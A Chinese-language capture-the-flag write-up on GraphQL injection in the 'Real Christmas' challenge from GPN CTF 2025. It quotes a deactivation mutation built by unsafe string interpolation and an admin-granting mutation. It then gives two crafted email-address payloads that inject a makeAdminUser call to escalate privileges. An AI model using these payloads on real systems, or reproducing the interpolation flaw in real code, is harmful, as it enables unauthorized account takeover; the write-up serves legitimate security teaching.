GraphQL注入 -- GPN CTF 2025 Real Christmas

发布于:2025-07-01 ⋅ 阅读:(16) ⋅ 点赞:(0)

part 1

服务器会每段时间禁用已注册的账号,此处存在漏洞

def deactivate_user_graphql(email):
    graphql_endpoint = current_app.config["GRAPHQL_ENDPOINT"]
    query = f"""
        mutation {{
            deactivateUser (user: {{email: "{email}"}}){{   
                success             
            }}
        }}
    """

服务器后端拥有一个提升权限的功能

# 设为管理员的Mutation
class MakeAdminUser(Mutation):
    class Meta:
        description = "Mutation to make a user an admin"  # 设为管理员的描述

    class Arguments:
        user = UserInput(required=True)  # 必须提供用户输入

    success = Boolean()  # 是否成功
    message = String()  # 返回信息

    def mutate(self, info, user):
        # 权限校验
        if (
            not info.context.headers.get("Key")
            == current_app.config["SERVICE_TOKEN_KEY"]
        ):
            return MakeAdminUser(success=False, message="Unauthorized")

        # 查找用户
        db_user = None
        if user.get("id") is not None:
            db_user = User.query.filter_by(id=user.get("id")).first()
        elif user.get("email") is not None:
            db_user = User.query.filter_by(email=user.get("email")).first()

        if not db_user:
            return MakeAdminUser(success=False, message="User not found")

        db_user.is_admin = True  # 设为管理员
        db.session.commit()
        return MakeAdminUser(success=True, message="User made admin successfully")

根据 RFC 规范,电子邮件地址的本地部分(@ 前的部分)可以包含以下字符:

  • 大小写字母 (a-z, A-Z)
  • 数字 (0-9)
  • 特殊字符:!#$%&'*±/=?^_{|}~`
  • 使用引号括起来的字符串,可以包含空格和更多特殊字符

由此写出

"}){success}makeAdminUser(user: {id: 1}){#"@a.com

part 2

我们无法再传递id为参数,我们无法再利用邮箱前方,但是可以构造畸形的域名

a@["}) { success } makeAdminUser(user: {email: "(\")a@b.c"}) { #].c

网站公告

今日签到

点亮在社区的每一天
去签到